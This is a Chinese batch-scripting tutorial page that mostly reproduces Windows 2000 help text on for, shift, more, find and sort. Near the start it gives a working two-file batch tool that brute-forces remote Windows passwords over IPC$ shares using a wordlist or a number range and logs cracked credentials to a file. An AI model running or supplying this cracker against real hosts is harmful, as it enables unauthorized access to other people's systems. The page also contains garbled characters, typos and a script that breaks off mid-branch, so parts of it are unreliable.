这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程“简明批处理教程”虽然说的比较全面但看起来很不过瘾。在对for等命令介绍时就一个for / > a.txt & start a.txt完事了当然这一点上我不能说人家什么毕竟我连for / 都没给出而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令是因为他们才是批处理的精华和灵魂能否正确利用好这几个命令是能否掌握批处理的前提条件。如for、set等DOS命令的问题可以从DOS的角度出发专门有针对性的学习但有关这几个命令的问题却是不容易精通掌握的----他们之间的关系太复杂了

将下列代码存为bat文件
1、如果用字典破解pass.bat 字典文件路径及名称 主机 用户名
2、如果用数字破解pass.bat 起始数 步长 结束数 主机 用户名
密码破解出来之后存放于c:pass.txt文件里面
将下列代码存为pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:pass.txt
echo ------------------------------------------------------------------- >>c:pass.txt
date /t >>c:pass.txt
time /t >>c:pass.txt
echo 破解结果 >>c:pass.txt
:大棒槌是我的说1
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
将下列代码存为test.bat
net use \%1ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果net use成功返回0失败返回2
:answer0
echo 远程主机"%1" >>c:pass.txt
echo 用 户"%3" >>c:pass.txt
echo 密 码%2 >>c:pass.txt
net use \%1ipc$ /delet
exit
:answer2
For
对一组文件中的每个文件运行指定的命令
可以在批处理程序中或直接从命令提示符使用 for 命令
要在批处理程序中使用 for 命令请使用以下语法

for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for请使用以下语法
for %variable in (set) do command [command-parameters]

参数
%%variable 或 %variable

代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable或 %variable直到此命令在 command-parameters 中指定处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写

(set)
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号
command

指定要在指定的 set 所包含的每个文件上执行的命令

command-parameters

指定要用于指定命令如果指定的命令要使用任何参数或开关的任何参数或开关
果启用了命令扩展Windows 2000 中的默认设置)将支持 for 命令的其他形式
如果启用了命令扩展将支持如下 for 命令的其他格式

只限于目录

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符* 和 则指定与目录名匹配而不是文件名。
递归

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

进入根目录树[drive:]path在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录则假定为当前目录。如果 set 只是一个句号 (.) 字符则只列举目录树。

迭代

for /L [%% | %]variable in (startstepend) do command [command-parameters]
集合是一系列按步长量划分的、从头到尾的数字。这样(1,1,5) 将生成序列 1 2 3 4 5而 (5,-1,1) 将生成序列 (5 4 3 2 1)。~]4@,D;h _mb
文件解析

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]

或者如果出现 usebackq 选项

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]

filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前每个文件都会被打开、读取和处理
过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值或多个值集合调用 for 循环体。默认情况下/F 传递每个文件每一行的第一个空白分隔符号

跳过空行。通过指定可选的“options”参数可以覆盖默认的解析行为。这是一个引用字符串它包含一个或多个关键字以指定不同的解析选项。关键字是

关键字 说明
eol=c 指定行尾注释字符只一个字符
skip=n 指定在文件的开头跳过的行数
delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集
tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围指定从 mth 到 nth 的令牌。
如果在令牌 = 字符串中最后一个字符是星号则将分配附加的变量并在解析最后一个令牌后在行上接收剩余的文本

usebackq 指定将右引号字符串作为命令执行单引号字符串是文字字符串命令您可以使用双引号包括 filenameset 中的文件名

变量替换

此外已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法对于任何变量 I

变量使用修改程序 说明
%~I 展开删除了周围的任何引号 (") 的 %I
%~fI 将 %I 展开到完全合格的路径名
%~dI 只将 %I 展开到驱动器号
%~pI 只将 %I 展开到路径
%~nI 只将 %I 展开到文件名
%~xI 只将 %I 展开到文件扩展名
%~sI 展开路径以只包含短名称
%~aI 将 %I 展开到文件的文件属性
%~tI 将 %I 展开到文件的日期/时间
%~zI 将 %I 展开到文件大小
%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名或搜索后没有找到文件则此修改程序将扩展为空字符串

修改程序可以合并以获得复杂的结果

变量使用合并的修改程序 说明
%~dpI 只将 %I 展开到驱动器号和路径
%~nxI 只将 %I 展开到文件名和扩展名
%~fsI 将 %I 展开到只包含短名称的完整路径名
%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I并展开到第一个找到结果的驱动器号和路径
%~ftzaI 将 %I 扩展到与 dir 相似的输出行

注意
在上述范例中%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法
使用大写变量名例如 %I可以使代码更具可读性并且避免与不区分大小写的修改程序混淆
Shift
更改批处理文件中可替换参数的位置

shift
启用命令扩展Windows 2000 中的默认设置后shift 命令支持 /n 开关该开关通知命令在第 n 个参数处开始更改n 可以是从 0 到 8 的任何一个值。例如

SHIFT /2

将 %3 改为 %2将 %4 改为 %3 等等而 %0 和 %1 保持不变

筛选器命令
筛选器命令可以帮助您排序、查看和选择部分命令输出结果
通过筛选器命令传递信息

筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命令:

more 命令每次显示一屏文件内容或命令输出
find 命令在文件和命令输出中搜索指定字符
sort 命令按字母顺序排列文件和命令输出

要将输入从文件发送到筛选器命令请使用小于符号 (<)。如果要筛选器命令从其他命令获得输入请使用管道 (|)。

使用 more 命令来控制屏幕显示
more 命令每次一屏地显示文件的内容或命令输出。例如下面的 more 命令每次显示一屏 List.txt 文件的内容

more < list.txt

信息显示一屏后会出现字“More”。要继续显示下一屏请按键盘上任意键。要停止命令且不查看详细信息请按 CTRL+C 键

如果使用产生多屏输出的命令more 将十分有用。例如假设定要查看硬盘的目录树。如果 Windows 2000 不能将目录在一屏内全部显示出来请使用带管道号 (|) 和 more 命令的 tree 命令如下例所示

tree c: | more
tree 命令的第一屏输出被显示后跟词“More”。Windows 2000 暂停直到用户按键盘上的任意键为止PAUSE 键除外。

使用 find 命令搜索文本

find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准的 Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息请单击“相关主题”列表中的 find。
要将 find 当作筛选器命令使用请包含小于符号 (<) 和搜索的文件名。当输入文件名时请记住搜索要区分大小写。例如下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串

find "Pacific Rim" < trade.txt
要保存 find 命令的输出而不是显示输出请使用大于号 (>) 和要存储输出的文件名。例如下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串并将结果保存在 Nwtrade.txt 文件中

comfind "Pacific Rim" < trade.txt > nwtrade.txt
对文本文件排序

Usort 命令按字母顺序排列文本文件或命令的输出。例如可以使用以下命令对 List.txt 文件的内容进行排序并在屏幕上显示结果
sort < list.txt

在此范例中sort 命令对 List.txt 文件的行进行排序并显示结果但不更改文件。要保存 sort 命令的输出而不是显示输出请在命令中包含大于号 (>) 和文件名。例如可以使用以下命令对 List.txt 文件的行按字母顺序排序并将结果存到 Alphlist.txt 文件中

sort < list.txt > alphlist.txt

要排序命令的输出请键入后面带有管道 (|) 和 sort 命令的命令。例如下面的命令对 find 命令的输出结果进行排序

find "Jones" maillst.txt | sort

在键入该命令时Windows 2000 按字母顺序列出在其中出现“Jones”的行。

带重定向符的合并命令

可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如可以使用以下命令存储包含“LOG”字符串的文件名:

dir /b | find "LOG" > loglist.txt

Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串“Log”的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表如A.log、Logdat.svd 和 Mylog.bat。

要在相同命令中使用多个筛选器请使用管道 (|) 分隔筛选器。例如下面的命令搜索 C 盘上的每个目录以查找包含“Log”字符串的文件名并且每次显示一屏

dir c: /s /b | find "LOG" | more

因为使用管道 (|)Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串“Log”的文件名。more 命令每次一屏地显示 find 命令选择的文件名。

More
每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令或者使用它控制其他命令的输出例如 type 命令。当显示填充可用的查看区域时将出现 more 提示用户可以输入许多命令来控制查看文件其余部分的方式。

command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename

more [/c] [/p] [/s] [/tn] [+n] [files]
参数

[drive:][path] filename

指定要显示的文件。
command name
指定将显示其输出的命令。
/c

显示页面前清除屏幕。
/p

扩展换页符。
/s

将多个空白行更改为一个空白行。

/tn
将制表位更改为 n 个空格
+n
显示由 n 指定的行开始的第一个文件。

filesb

指定要显示的文件列表。用空格分隔文件名

More 子命令

以下命令在 more 提示 (-- More --) 下接受。

关键字 操作
space 显示下一页
ENTER 显示下一行
F 显示下一个文件
q 退出
显示可用命令
= 显示行号
S n 跳过下面 n 行
Find
在一个文件或多个文件中搜索指定的文本字符串
当搜索到指定的文件后find 将显示出包含指定字符串的所有行

find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]

参数
/v
显示未包含指定字符串的所有行

/c
只显示包含指定字符串的行数

/n
将文件行号置于每行开头

/I
指定搜索不区分大小写

"string"
指定要搜索的字符组。必须将 string 的文本包括在引号中

[drive:][path] filename

指定要在其中搜索指定字符串的文件的位置和名称
Sort

读取输入、排序数据并将结果写到屏幕、文件和其他设备上
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3]

[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3]

参数
/r
颠倒排序顺序即从 Z 到 A 排序然后从 9 到 0 排序

/+n
指定字符位置号 nsort 在此处开始每次比较。例如/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。默认情况下比较在每行的第一个字符开始

/m kilobytes
指定用于排序的主内存数量按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小则无论有多少主内存可用指定的确切数量但至少 160 KB的内存将用于排序。
如果输入输出均为文件在没有指定大小时默认最大内存大小为可用主内存的 90否则为主内存的 45。默认设置通常会产生最佳的性能。

/l locale
替代由系统默认区域设置定义的字符排序顺序即在安装 Windows 2000 时选择的语言和“国家地区”。目前默认区域设置唯一的备用选项就是“C”区域设置该区域设置比自然语言排序快根据二进制编码对字符排序

/rec characters
指定记录或输入文件的行中的最多字符数默认值为 4096最大值为 65535。

[drive1:][path1]filename1

指定要排序的文件。如果没有指定文件名则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快

/t [drive2:][path2]

指定保留 sort 命令工作存储的目录路径防止数据不能装入主内存。默认为使用系统临时目录

/o [drive3:][path3]filename3
指定要存储排序后的输入的文件。如果没有指定数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快!